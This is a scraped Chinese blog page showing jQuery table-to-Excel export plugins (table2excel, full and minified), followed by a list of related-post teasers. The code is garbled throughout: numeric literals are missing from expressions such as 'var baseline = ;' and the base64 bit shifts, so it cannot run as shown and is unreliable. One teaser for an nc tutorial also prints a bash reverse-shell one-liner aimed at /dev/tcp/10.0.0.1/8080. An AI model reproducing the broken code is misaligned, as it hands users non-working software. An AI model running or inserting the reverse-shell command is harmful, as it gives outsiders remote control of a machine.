(frac[].length ? defaults.numbers.output.decimalMark + frac[] : "");
}
}
} if (defaults.escape === true) {
result = escape(result);
} if (typeof defaults.onCellData === 'function') {
result = defaults.onCellData($cell, rowIndex, colIndex, result);
}
} return result;
} function hyphenate(a, b, c) {
return b + "-" + c.toLowerCase();
} // get computed style property
function getStyle(target, prop) {
try {
if (window.getComputedStyle) { // gecko and webkit
prop = prop.replace(/([a-z])([A-Z])/, hyphenate); // requires hyphenated, not camel
return window.getComputedStyle(target, null).getPropertyValue(prop);
}
if (target.currentStyle) { // ie
return target.currentStyle[prop];
}
return target.style[prop];
}
catch (e) {
}
return "";
} function getPropertyUnitValue(target, prop, unit) {
var baseline = ; // any number serves var value = getStyle(target, prop); // get the computed style value var numeric = value.match(/\d+/); // get the numeric component
if (numeric !== null) {
numeric = numeric[]; // get the string var temp = document.createElement("div"); // create temporary element
temp.style.overflow = "hidden"; // in case baseline is set too low
temp.style.visibility = "hidden"; // no need to show it target.parentElement.appendChild(temp); // insert it into the parent for em, ex and % temp.style.width = baseline + unit;
var factor = baseline / temp.offsetWidth; target.parentElement.removeChild(temp); // clean up return (numeric * factor);
}
return ;
} function downloadFile(filename, data) {
var DownloadLink = document.createElement('a'); if (DownloadLink) {
document.body.appendChild(DownloadLink);
DownloadLink.style = 'display: none';
DownloadLink.download = filename;
DownloadLink.href = data; if (document.createEvent) {
if (DownloadEvt == null)
DownloadEvt = document.createEvent('MouseEvents'); DownloadEvt.initEvent('click', true, false);
DownloadLink.dispatchEvent(DownloadEvt);
}
else if (document.createEventObject)
DownloadLink.fireEvent('onclick');
else if (typeof DownloadLink.onclick == 'function')
DownloadLink.onclick(); document.body.removeChild(DownloadLink);
}
} function utf8Encode(string) {
string = string.replace(/\x0d\x0a/g, "\x0a");
var utftext = "";
for (var n = ; n < string.length; n++) {
var c = string.charCodeAt(n);
if (c < ) {
utftext += String.fromCharCode(c);
}
else if ((c > ) && (c < )) {
utftext += String.fromCharCode((c >> ) | );
utftext += String.fromCharCode((c & ) | );
}
else {
utftext += String.fromCharCode((c >> ) | );
utftext += String.fromCharCode(((c >> ) & ) | );
utftext += String.fromCharCode((c & ) | );
}
}
return utftext;
} function base64encode(input) {
var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var i = ;
input = utf8Encode(input);
while (i < input.length) {
chr1 = input.charCodeAt(i++);
chr2 = input.charCodeAt(i++);
chr3 = input.charCodeAt(i++);
enc1 = chr1 >> ;
enc2 = ((chr1 & ) << ) | (chr2 >> );
enc3 = ((chr2 & ) << ) | (chr3 >> );
enc4 = chr3 & ;
if (isNaN(chr2)) {
enc3 = enc4 = ;
} else if (isNaN(chr3)) {
enc4 = ;
}
output = output +
keyStr.charAt(enc1) + keyStr.charAt(enc2) +
keyStr.charAt(enc3) + keyStr.charAt(enc4);
}
return output;
} return this;
}
});
})(jQuery); jquery.table2excel.js
/*
* jQuery table2excel - v1.0.2
* jQuery plugin to export an .xls file in browser from an HTML table
* https://github.com/rainabba/jquery-table2excel
*
* Made by rainabba
* Under MIT License
*/
//table2excel.js
;(function ( $, window, document, undefined ) {
var pluginName = "table2excel", defaults = {
exclude: ".noExl",
name: "Table2Excel"
}; // The actual plugin constructor
function Plugin ( element, options ) {
this.element = element;
// jQuery has an extend method which merges the contents of two or
// more objects, storing the result in the first object. The first object
// is generally empty as we don't want to alter the default options for
// future instances of the plugin
//
this.settings = $.extend( {}, defaults, options );
this._defaults = defaults;
this._name = pluginName;
this.init();
} Plugin.prototype = {
init: function () {
var e = this; var utf8Heading = "<meta http-equiv=\"content-type\" content=\"application/vnd.ms-excel; charset=UTF-8\">";
e.template = {
head: "<html xmlns:o=\"urn:schemas-microsoft-com:office:office\" xmlns:x=\"urn:schemas-microsoft-com:office:excel\" xmlns=\"http://www.w3.org/TR/REC-html40\">" + utf8Heading + "<head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets>",
sheet: {
head: "<x:ExcelWorksheet><x:Name>",
tail: "</x:Name><x:WorksheetOptions><x:DisplayGridlines/></x:WorksheetOptions></x:ExcelWorksheet>"
},
mid: "</x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--></head><body>",
table: {
head: "<table>",
tail: "</table>"
},
foot: "</body></html>"
}; e.tableRows = []; // get contents of table except for exclude
$(e.element).each( function(i,o) {
var tempRows = "";
$(o).find("tr").not(e.settings.exclude).each(function (i,o) {
tempRows += "<tr>" + $(o).html() + "</tr>";
});
e.tableRows.push(tempRows);
}); e.tableToExcel(e.tableRows, e.settings.name, e.settings.sheetName);
}, tableToExcel: function (table, name, sheetName) {
var e = this, fullTemplate="", i, link, a; e.uri = "data:application/vnd.ms-excel;base64,";
e.base64 = function (s) {
return window.btoa(unescape(encodeURIComponent(s)));
};
e.format = function (s, c) {
return s.replace(/{(\w+)}/g, function (m, p) {
return c[p];
});
}; sheetName = typeof sheetName === "undefined" ? "Sheet" : sheetName; e.ctx = {
worksheet: name || "Worksheet",
table: table,
sheetName: sheetName,
}; fullTemplate= e.template.head; if ( $.isArray(table) ) {
for (i in table) {
//fullTemplate += e.template.sheet.head + "{worksheet" + i + "}" + e.template.sheet.tail;
fullTemplate += e.template.sheet.head + sheetName + i + e.template.sheet.tail;
}
} fullTemplate += e.template.mid; if ( $.isArray(table) ) {
for (i in table) {
fullTemplate += e.template.table.head + "{table" + i + "}" + e.template.table.tail;
}
} fullTemplate += e.template.foot; for (i in table) {
e.ctx["table" + i] = table[i];
}
delete e.ctx.table; if (typeof msie !== "undefined" && msie > || !!navigator.userAgent.match(/Trident.*rv\:\./)) // If Internet Explorer
{
if (typeof Blob !== "undefined") {
//use blobs if we can
fullTemplate = [fullTemplate];
//convert to array
var blob1 = new Blob(fullTemplate, { type: "text/html" });
window.navigator.msSaveBlob(blob1, getFileName(e.settings) );
} else {
//otherwise use the iframe and save
//requires a blank iframe on page called txtArea1
txtArea1.document.open("text/html", "replace");
txtArea1.document.write(e.format(fullTemplate, e.ctx));
txtArea1.document.close();
txtArea1.focus();
sa = txtArea1.document.execCommand("SaveAs", true, getFileName(e.settings) );
} } else {
link = e.uri + e.base64(e.format(fullTemplate, e.ctx));
a = document.createElement("a");
a.download = getFileName(e.settings);
a.href = link; document.body.appendChild(a); a.click(); document.body.removeChild(a);
} return true;
}
}; function getFileName(settings) {
return ( settings.filename ? settings.filename : "table2excel" ) +
( settings.fileext ? settings.fileext : ".xls" );
} $.fn[ pluginName ] = function ( options ) {
var e = this;
e.each(function() {
if ( !$.data( e, "plugin_" + pluginName ) ) {
$.data( e, "plugin_" + pluginName, new Plugin( this, options ) );
}
}); // chain jQuery functions
return e;
}; })( jQuery, window, document ); jquery.table2excel.min.js
/*
* jQuery table2excel - v1.0.2
* jQuery plugin to export an .xls file in browser from an HTML table
* https://github.com/rainabba/jquery-table2excel
*
* Made by rainabba
* Under MIT License
*/
!function(a,b,c,d){function e(b,c){this.element=b,this.settings=a.extend({},h,c),this._defaults=h,this._name=g,this.init()}function f(a){return(a.filename?a.filename:"table2excel")+(a.fileext?a.fileext:".xlsx")}var g="table2excel",h={exclude:".noExl",name:"Table2Excel"};e.prototype={init:function(){var b=this,c='<meta http-equiv="content-type" content="application/vnd.ms-excel; charset=UTF-8">';b.template={head:'<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40">'+c+"<head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets>",sheet:{head:"<x:ExcelWorksheet><x:Name>",tail:"</x:Name><x:WorksheetOptions><x:DisplayGridlines/></x:WorksheetOptions></x:ExcelWorksheet>"},mid:"</x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--></head><body>",table:{head:"<table>",tail:"</table>"},foot:"</body></html>"},b.tableRows=[],a(b.element).each(function(c,d){var e="";a(d).find("tr").not(b.settings.exclude).each(function(b,c){e+="<tr>"+a(c).html()+"</tr>"}),b.tableRows.push(e)}),b.tableToExcel(b.tableRows,b.settings.name,b.settings.sheetName)},tableToExcel:function(d,e,g){var h,i,j,k=this,l="";if(k.uri="data:application/vnd.ms-excel;base64,",k.base64=function(a){return b.btoa(unescape(encodeURIComponent(a)))},k.format=function(a,b){return a.replace(/{(\w+)}/g,function(a,c){return b[c]})},g="undefined"==typeof g?"Sheet":g,k.ctx={worksheet:e||"Worksheet",table:d,sheetName:g},l=k.template.head,a.isArray(d))for(h in d)l+=k.template.sheet.head+g+h+k.template.sheet.tail;if(l+=k.template.mid,a.isArray(d))for(h in d)l+=k.template.table.head+"{table"+h+"}"+k.template.table.tail;l+=k.template.foot;for(h in d)k.ctx["table"+h]=d[h];if(delete k.ctx.table,"undefined"!=typeof msie&&msie>||navigator.userAgent.match(/Trident.*rv\:\./))if("undefined"!=typeof Blob){l=[l];var m=new Blob(l,{type:"text/html"});b.navigator.msSaveBlob(m,f(k.settings))}else txtArea1.document.open("text/html","replace"),txtArea1.document.write(k.format(l,k.ctx)),txtArea1.document.close(),txtArea1.focus(),sa=txtArea1.document.execCommand("SaveAs",!,f(k.settings));else i=k.uri+k.base64(k.format(l,k.ctx)),j=c.createElement("a"),j.download=f(k.settings),j.href=i,c.body.appendChild(j),j.click(),c.body.removeChild(j);return!}},a.fn[g]=function(b){var c=this;return c.each(function(){a.data(c,"plugin_"+g)||a.data(c,"plugin_"+g,new e(this,b))}),c}}(jQuery,window,document);
js导出到word、json、excel、csv的更多相关文章
- 在ASP.NET中将GridView数据导出到Word、Excel
在ASP.NET中将GridView数据导出到Word.Excel asp.net,导出gridview数据到Word,Excel,PDF #region Export to Word, Exce ...
- js导出table中的EXCEL总结
导出EXCEL通常是用PHP做,可是项目中,有时候PHP后端project师返回的数据不是我们想要的,作为前端开发project师,把相应的数据编号转换为文字后,展示给用户.可是.需求要把数据同一时候 ...
- gridview数据导出到word和excel以及excel的导入
using System;using System.Collections.Generic;using System.Linq;using System.Web;using System.Web.UI ...
- 使用 jquery.wordexport.js导出的Word排版
js导出word文档所需要的两个插件: FileSaver.js jquery.wordexport.js 使用jquery.wordexport.js这个插件导出的word文档的排版方式: 编辑器打 ...
- MVC项目中怎样用JS导出EasyUI DataGrid为Excel
在做一中考评项目的时候,遇到了这么一个需求.就是把评教后得到的老师的成绩导出为Excel.事实上需求非常普通.实现起来有些复杂.由于老师考评不但有固定的考核项,还有额外加分项.于是我们就抽出来了一个表 ...
- JS导出网页数据到EXCEL
想得到的效果是,在网页上点击导出按钮,弹出文件保存框,输入文件名并选择路径后保存.可能是由于浏览器的安全机制,一直没能找到合适的解决方案,就采用了其它的一些替代方案. 思路是:后台一般处理程序查询数据 ...
- 使用JS导出页面内容到Excel
JS代码 <script> $(function(){ // 使用outerHTML属性获取整个table元素的HTML代码(包括<table>标签),然后包装成一个完整的HT ...
- .net中将DataTable导出到word、Excel、txt、htm的方法
dt:DataTable strFile:fileName strExt:type private void GridExport(DataTable dt, string strFile, stri ...
- 【C#点滴记录】ASP.NET 使用C# 导出Word 和Excel
原文摘自 慧优米网,链接地址:http://huiyoumi.wang/upload/forum.php?mod=viewthread&tid=797&extra= 好了正文来了 今天 ...
随机推荐
- rsync同步web数据
rsync远程同步web服务器的数据 实验拓扑 服务器A(rsync服务器)--------------服务器B( ...
- OpenCL 设备队列
▶ 按书上写的设备队列的代码,需要 OpenCL2.0 的平台和设备,先把代码堆上来 ● 程序主要功能:用主机上的数组 Ahost 和 Bhost 创建设备缓冲区 Adevice 和 Bdevice, ...
- leetcode944
public class Solution { public int MinDeletionSize(string[] A) { ; ; j < A[].Length; j++) { ; i & ...
- iframe中子页面父页面里函数互调
在iframe中很多要用的子页面父页面函数互调的情况,下面看一下各自用法,本人写个人网站的时候用过其他场景尚未试过 子页面调父页面 function fu(){ alert('父'); } funct ...
- Git .gitignore使用 -- 过滤class文件或指定目录
1. 进入当前的项目根目录 执行 git init touch .gitignore 2. 过滤class文件或指定目录 *.class /target/ 3. 提交 git add . 将所有文件提 ...
- as3 XML类和XMLList类的区别
一.XML类和XMLList类的区别 AS3.0中,处理XML主要用到两个主类,XML类和XMLList类,这两个类的很多内容是共通的.应该有人会问,XML和XMLList的区别是什么? ...
- Simple2D-22(重构)纹理池
以前 Simple2D 使用 TextureManager,现在将它改为 TexturePool (纹理池).主要是负责加载和管理纹理,这次为 TexturePool 添加纹理集的功能,纹理集就是将大 ...
- Invalid args, too big block
在调试vs程序的时候 查看log 会出现下面几行log: [9064] Error - [9064] Invalid args, too big block[9064] [9064] Error - ...
- 【转】UNITY之LUA加密
来自:Lua加密 两种方式:一种用luac,一种用luajit luac加密: 1.lua本身可以使用luac将脚本编译为字节码(bytecode)从而实现加密,去官网下载Lua源代码包(http:/ ...
- nc命令使用详解
反弹shell方法: 反弹端:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 或 bash -i &> /dev/tcp/ ...